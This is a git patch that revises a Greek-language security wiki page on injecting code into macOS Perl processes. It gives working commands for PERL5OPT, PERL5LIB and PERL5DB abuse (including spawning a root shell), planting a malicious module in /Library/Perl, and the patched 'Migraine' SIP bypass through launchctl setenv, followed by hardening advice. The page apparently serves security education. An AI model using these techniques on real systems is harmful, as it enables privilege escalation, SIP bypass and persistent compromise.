From 45355364990d964af1e5dbcbc1a8e229d292a4c0 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Jul 2025 16:13:46 +0000 Subject: [PATCH] Translated ['src/macos-hardening/macos-security-and-privilege-escalation --- .../macos-perl-applications-injection.md | 67 +++++++++++++++---- 1 file changed, 54 insertions(+), 13 deletions(-) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md index 5ec62de59..e21c11d5f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md @@ -4,7 +4,7 @@ ## Μέσω της μεταβλητής περιβάλλοντος `PERL5OPT` & `PERL5LIB` -Χρησιμοποιώντας τη μεταβλητή περιβάλλοντος PERL5OPT, είναι δυνατόν να κάνετε το perl να εκτελεί αυθαίρετες εντολές.\ +Χρησιμοποιώντας τη μεταβλητή περιβάλλοντος **`PERL5OPT`**, είναι δυνατόν να κάνετε το **Perl** να εκτελεί αυθαίρετες εντολές όταν ξεκινά ο διερμηνέας (ακόμα και **πριν** από την πρώτη γραμμή του στοχευμένου σεναρίου αναλυθεί). Για παράδειγμα, δημιουργήστε αυτό το σενάριο: ```perl:test.pl #!/usr/bin/perl @@ -15,24 +15,38 @@ print "Hello from the Perl script!\n"; export PERL5OPT='-Mwarnings;system("whoami")' perl test.pl # This will execute "whoami" ``` -Μια άλλη επιλογή είναι να δημιουργήσετε ένα module Perl (π.χ. `/tmp/pmod.pm`): +Μια άλλη επιλογή είναι να δημιουργήσετε ένα Perl module (π.χ. `/tmp/pmod.pm`): ```perl:/tmp/pmod.pm #!/usr/bin/perl package pmod; system('whoami'); 1; # Modules must return a true value ``` -Και στη συνέχεια χρησιμοποιήστε τις μεταβλητές περιβάλλοντος: +Και στη συνέχεια χρησιμοποιήστε τις μεταβλητές env ώστε το module να εντοπίζεται και να φορτώνεται αυτόματα: ```bash -PERL5LIB=/tmp/ PERL5OPT=-Mpmod +PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl ``` -## Μέσω εξαρτήσεων +### Άλλες ενδιαφέρουσες μεταβλητές περιβάλλοντος -Είναι δυνατόν να καταγραφούν οι εξαρτήσεις της σειράς φακέλων του Perl που εκτελείται: +* **`PERL5DB`** – όταν ο διερμηνέας ξεκινά με την επιλογή **`-d`** (debugger), το περιεχόμενο του `PERL5DB` εκτελείται ως κώδικας Perl *μέσα* στο πλαίσιο του debugger. +Αν μπορείτε να επηρεάσετε τόσο το περιβάλλον **όσο** και τις επιλογές γραμμής εντολών μιας προνομιακής διαδικασίας Perl, μπορείτε να κάνετε κάτι σαν: + +```bash +export PERL5DB='system("/bin/zsh")' +sudo perl -d /usr/bin/some_admin_script.pl # θα ανοίξει ένα shell πριν εκτελέσει το script +``` + +* **`PERL5SHELL`** – στα Windows αυτή η μεταβλητή ελέγχει ποιο εκτελέσιμο shell θα χρησιμοποιήσει το Perl όταν χρειάζεται να δημιουργήσει ένα shell. Αναφέρεται εδώ μόνο για πληρότητα, καθώς δεν είναι σχετική στο macOS. + +Αν και το `PERL5DB` απαιτεί την επιλογή `-d`, είναι συνηθισμένο να βρίσκονται σενάρια συντήρησης ή εγκατάστασης που εκτελούνται ως *root* με αυτή την επιλογή ενεργοποιημένη για λεπτομερή αποσφαλμάτωση, καθιστώντας τη μεταβλητή έγκυρο μέσο κλιμάκωσης. + +## Μέσω εξαρτήσεων (@INC abuse) + +Είναι δυνατόν να καταγράψετε τη διαδρομή συμπερίληψης που θα αναζητήσει το Perl (**`@INC`**) εκτελώντας: ```bash perl -e 'print join("\n", @INC)' ``` -Το οποίο θα επιστρέψει κάτι σαν: +Τυπική έξοδος σε macOS 13/14 φαίνεται όπως: ```bash /Library/Perl/5.30/darwin-thread-multi-2level /Library/Perl/5.30 @@ -44,17 +58,44 @@ perl -e 'print join("\n", @INC)' /System/Library/Perl/Extras/5.30/darwin-thread-multi-2level /System/Library/Perl/Extras/5.30 ``` -Ορισμένοι από τους επιστρεφόμενους φακέλους δεν υπάρχουν καν, ωστόσο, **`/Library/Perl/5.30`** **υπάρχει**, **δεν είναι** **προστατευμένος** από **SIP** και είναι **πριν** από τους φακέλους **που προστατεύονται από SIP**. Επομένως, κάποιος θα μπορούσε να εκμεταλλευτεί αυτόν τον φάκελο για να προσθέσει εξαρτήσεις σε σενάρια εκεί, έτσι ώστε ένα σενάριο Perl υψηλής προνομιακής πρόσβασης να το φορτώσει. +Ορισμένοι από τους επιστρεφόμενους φακέλους δεν υπάρχουν καν, ωστόσο **`/Library/Perl/5.30`** υπάρχει, *δεν* προστατεύεται από το SIP και είναι *πριν* από τους φακέλους που προστατεύονται από το SIP. Επομένως, αν μπορείτε να γράψετε ως *root*, μπορείτε να ρίξετε ένα κακόβουλο module (π.χ. `File/Basename.pm`) που θα φορτωθεί *προτιμησιακά* από οποιοδήποτε προνομιακό script που εισάγει αυτό το module. > [!WARNING] -> Ωστόσο, σημειώστε ότι **πρέπει να είστε root για να γράψετε σε αυτόν τον φάκελο** και σήμερα θα λάβετε αυτήν την **προτροπή TCC**: +> Χρειάζεστε ακόμα **root** για να γράψετε μέσα στο `/Library/Perl` και το macOS θα εμφανίσει ένα prompt **TCC** ζητώντας *Πλήρη Πρόσβαση Δίσκου* για τη διαδικασία που εκτελεί τη λειτουργία εγγραφής. -
+Για παράδειγμα, αν ένα script εισάγει **`use File::Basename;`**, θα ήταν δυνατό να δημιουργηθεί το `/Library/Perl/5.30/File/Basename.pm` που θα περιέχει κώδικα ελεγχόμενο από τον επιτιθέμενο. -Για παράδειγμα, αν ένα σενάριο εισάγει **`use File::Basename;`**, θα ήταν δυνατό να δημιουργηθεί το `/Library/Perl/5.30/File/Basename.pm` για να εκτελεί αυθαίρετο κώδικα. +## SIP bypass μέσω Migration Assistant (CVE-2023-32369 “Migraine”) -## References +Τον Μάιο του 2023, η Microsoft αποκάλυψε το **CVE-2023-32369**, γνωστό ως **Migraine**, μια τεχνική post-exploitation που επιτρέπει σε έναν επιτιθέμενο *root* να παρακάμψει εντελώς την **Προστασία Ακεραιότητας Συστήματος (SIP)**. +Το ευάλωτο συστατικό είναι το **`systemmigrationd`**, μια διεργασία που έχει δικαίωμα με **`com.apple.rootless.install.heritable`**. Οποιαδήποτε παιδική διαδικασία που δημιουργείται από αυτή τη διεργασία κληρονομεί το δικαίωμα και επομένως εκτελείται **εκτός** των περιορισμών του SIP. -- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk) +Μεταξύ των παιδιών που εντοπίστηκαν από τους ερευνητές είναι ο ερμηνευτής υπογεγραμμένος από την Apple: +``` +/usr/bin/perl /usr/libexec/migrateLocalKDC … +``` +Επειδή το Perl σέβεται το `PERL5OPT` (και το Bash σέβεται το `BASH_ENV`), η δηλητηρίαση του *περιβάλλοντος* του δαίμονα είναι αρκετή για να αποκτήσετε αυθαίρετη εκτέλεση σε ένα περιβάλλον χωρίς SIP: +```bash +# As root +launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")' + +# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl) +open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility +``` +Όταν εκτελείται το `migrateLocalKDC`, το `/usr/bin/perl` ξεκινά με το κακόβουλο `PERL5OPT` και εκτελεί το `/private/tmp/migraine.sh` *πριν επανενεργοποιηθεί το SIP*. Από αυτό το σενάριο μπορείτε, για παράδειγμα, να αντιγράψετε ένα payload μέσα στο **`/System/Library/LaunchDaemons`** ή να αναθέσετε το εκτεταμένο χαρακτηριστικό `com.apple.rootless` για να κάνετε ένα αρχείο **μη διαγραφόμενο**. + +Η Apple διόρθωσε το πρόβλημα στο macOS **Ventura 13.4**, **Monterey 12.6.6** και **Big Sur 11.7.7**, αλλά παλαιότερα ή μη ενημερωμένα συστήματα παραμένουν εκμεταλλεύσιμα. + +## Συστάσεις σκληροποίησης + +1. **Καθαρίστε επικίνδυνες μεταβλητές** – οι προνομιούχοι launchdaemons ή cron jobs θα πρέπει να ξεκινούν με ένα καθαρό περιβάλλον (`launchctl unsetenv PERL5OPT`, `env -i`, κ.λπ.). +2. **Αποφύγετε την εκτέλεση διερμηνέων ως root** εκτός αν είναι απολύτως απαραίτητο. Χρησιμοποιήστε συμπιεσμένα δυαδικά ή αποσύρετε τα προνόμια νωρίς. +3. **Προμηθευτείτε σενάρια με `-T` (λειτουργία taint)** ώστε το Perl να αγνοεί το `PERL5OPT` και άλλες μη ασφαλείς επιλογές όταν είναι ενεργοποιημένος ο έλεγχος taint. +4. **Διατηρήστε το macOS ενημερωμένο** – το “Migraine” είναι πλήρως ενημερωμένο στις τρέχουσες εκδόσεις. + +## Αναφορές + +- Microsoft Security Blog – “Νέα ευπάθεια macOS, Migraine, θα μπορούσε να παρακάμψει την Προστασία Ακεραιότητας Συστήματος” (CVE-2023-32369), 30 Μαΐου 2023. +- Hackyboiz – “Έρευνα παράκαμψης SIP macOS (PERL5OPT & BASH_ENV)”, Μάιος 2025. {{#include ../../../banners/hacktricks-training.md}}